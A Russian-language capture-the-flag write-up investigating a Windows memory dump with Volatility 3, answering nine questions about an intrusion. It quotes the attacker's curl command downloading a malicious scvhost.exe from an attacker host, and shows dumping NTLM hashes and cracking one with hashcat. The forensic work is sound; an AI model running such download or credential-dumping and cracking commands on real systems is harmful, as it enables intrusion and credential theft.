Видео

Исследуем дамп памяти

Установка Volatility 3

Мы будем использовать Volatility 3 для исследования дампа памяти.

Установим его. Я буду устанавливать в каталог ~/apps/volatility3:

git clone --branch stable https://github.com/volatilityfoundation/volatility3.git
cd volatility3
python3 -m venv env
source env/bin/activate
pip install -r requirements.txt

Мы уже поняли, что перед нами дамп памяти Windows, поэтому нам нужны Symbol Tables от них, потому что без них не получится сканировать память. Скачаем их и установим:

git clone https://github.com/JPCERTCC/Windows-Symbol-Tables.git
mkdir -p ~/.volatility3/symbols
cp -R Windows-Symbol-Tables/symbols/windows ~/.volatility3/symbols

Исследование

Попробуем получить базовую информацию о системе:

$ python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.info
Volatility 3 Framework 2.7.0
Progress:  100.00  PDB scanning finished                        
Variable Value

Kernel Base 0xf80638aa5000
DTB 0x1ad000
Symbols file:///home/kiberdruzhinnik/.volatility3/symbols/windows/ntkrnlmp.pdb/8B11040A5928757B11390AC78F6B6925-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 VmwareLayer
base_layer 2 FileLayer
meta_layer 2 FileLayer
KdVersionBlock 0xf80638ea7dc0
Major/Minor 15.17763
MachineType 34404
KeNumberProcessors 2
SystemTime 2023-10-31 13:59:26
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Thu Oct 28 12:04:50 2060

Из этого вывода получаем ответ на вопрос про системное время (вопрос №1) — 2023-10-31 13:59:26.

Далее стоит посмотреть на сетевые соединения:

$ python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.netstat
Volatility 3 Framework 2.7.0
Progress:  100.00  PDB scanning finished                        
Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner Created

0xc40aaa5d7920 TCPv4 192.168.157.144 50044 204.79.197.222 443 ESTABLISHED - - N/A
0xc40aa5ac6530 TCPv4 127.0.0.1 49867 127.0.0.1 49868 ESTABLISHED - - N/A
0xc40aa9005bf0 TCPv4 127.0.0.1 14147 127.0.0.1 49889 ESTABLISHED - - N/A
0xc40aa90e0bf0 TCPv4 127.0.0.1 49889 127.0.0.1 14147 ESTABLISHED - - N/A
0xc40aa6f40b50 TCPv4 127.0.0.1 49868 127.0.0.1 49867 ESTABLISHED - - N/A
0xc40aa6b569a0 TCPv4 192.168.157.144 49772 20.90.152.133 443 ESTABLISHED - - N/A
0xc40aaa8cb8a0 TCPv4 192.168.157.144 50041 216.58.204.78 443 ESTABLISHED - - N/A
0xc40aaa7f79a0 TCPv4 192.168.157.144 50037 192.168.157.151 4545 ESTABLISHED - - N/A
0xc40aa5d25a30 TCPv4 192.168.157.144 50043 142.250.187.206 443 ESTABLISHED - - N/A
0xc40aa912ebe0 TCPv4 192.168.157.144 50042 216.58.204.67 443 ESTABLISHED - - N/A
0xc40aa99986d0 TCPv4 192.168.157.144 50045 13.107.21.200 443 ESTABLISHED - - N/A

Обратим внимание на порт 4545 и IP-адрес 192.168.157.151. Это и есть адрес атакующего и ответ на вопрос №2.

Далее попробуем вывести список процессов в виде дерева:

python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.pstree

Среди процессов увидим странный scvhost.exe, который запущен из каталога C:\Users\BantingFG\Downloads и маскируется под системный процесс svchost.exe. Это ответ на вопрос №3.

alt text

Из этого же скриншота видим, что процесс был запущен с помощью Powershell с PID 6772. Это ответ на вопрос №4.

Далее попробуем вывести все строки из памяти:

strings memory_dump.vmem > memstrings.txt

Пробуем грепать по строке scvhost.exe:

grep scvhost.exe memstrings.txt

alt text

И отсюда находим ответ на вопрос №5 о том, как был доставлен малварный файл на машину:

curl -o scvhost.exe http://192.168.157.151:8000/scvhost.exe

Еще попробуем погрепать по IP-адресу атакующего:

grep 192.168.157.151 memstrings.txt

На скриншоте ниже видно, что атакующий пробовал подключаться к FTP-серверу с помощью логинов kalilinux123, admin и kali. Отсюда мы знаем ответ на вопрос №6 про количество пользователей, которые перебрал атакующий — 3.

alt text

Чтобы ответить на вопрос про последний посещенный URL, надо найти в списке процессов идентификатор Google Chrome.

alt text

Видим, что родительский PID 8048. Дампнем все файлы, связанные с этим PID:

python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.dumpfiles --pid 8048

Теперь ищем файл History:

$ ls -la | grep History
-rw------- 1 kiberdruzhinnik kiberdruzhinnik     524288 авг 27 12:10 file.0xc40aa9259df0.0xc40aa4ec6be0.SharedCacheMap.History-1.vacb
-rw------- 1 kiberdruzhinnik kiberdruzhinnik     524288 авг 27 12:10 file.0xc40aa9259df0.0xc40aa4ec6be0.SharedCacheMap.History.vacb
-rw------- 1 kiberdruzhinnik kiberdruzhinnik     303104 авг 27 12:10 file.0xc40aa9259df0.0xc40aa915a6d0.DataSectionObject.History-1.dat
-rw------- 1 kiberdruzhinnik kiberdruzhinnik     303104 авг 27 12:10 file.0xc40aa9259df0.0xc40aa915a6d0.DataSectionObject.History.dat
-rw------- 1 kiberdruzhinnik kiberdruzhinnik     262144 авг 27 12:10 file.0xc40aa952e740.0xc40aa66508a0.SharedCacheMap.History-journal.vacb
-rw------- 1 kiberdruzhinnik kiberdruzhinnik      12288 авг 27 12:10 file.0xc40aa952e740.0xc40aa9179c10.DataSectionObject.History-journal.dat

По размеру больше всего подходит файл file.0xc40aa9259df0.0xc40aa4ec6be0.SharedCacheMap.History.vacb, попробуем открыть его как SQLite базу.

В таблице urls находим ссылку на stackoverflow.com:

alt text

https://stackoverflow.com/questions/38005341/the-response-content-cannot-be-parsed-because-the-internet-explorer-engine-is-no — это ответ на вопрос №7.

Еще попробуем запустить hashdump, чтобы забрать пароли:

$ python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.hashdump
Progress:  100.00  PDB scanning finished                        
User rid lmhash nthash

Administrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee b47a9f2da3e6d7b88213822b52232627
Admin 1001 aad3b435b51404eeaad3b435b51404ee 3dbde697d71690a769204beb12283678
BantingFG 1002 aad3b435b51404eeaad3b435b51404ee 5a4a40e43197cd4dfb7c72e691536e92

Нестандартных пользователя тут два — Admin и BantingFG, запишем их хеши в hash.txt:

3dbde697d71690a769204beb12283678
5a4a40e43197cd4dfb7c72e691536e92

Попробуем сбрутить относительно rockyou:

hashcat -a 0 -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

И получим пароль пользоваетля BantingFGflowers123 для ответа на вопрос №8.

Попробуем ответить на последний вопрос №9 про флаг в PID 5116. Для этого выгрузим память:

python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.memmap --pid 5116 --dump

Память дампнулась вот в такой файл:

$ ls -la
...
-rw------- 1 kiberdruzhinnik kiberdruzhinnik  953581568 авг 27 12:40 pid.5116.dmp

Переименуем его в pid.5116.dmp.data и попробуем открыть с помощью GIMP. Перед нами откроется окно, в котором надо ввести в ширину и высоту 900 для начала, оффсет примерно 9500000:

alt text

Начинаем видеть надпись, пробуем подобрать ширину и высоту и останавливаемся примерно на таких параметрах:

alt text

Ответ на вопрос №9 — you_Foundme!.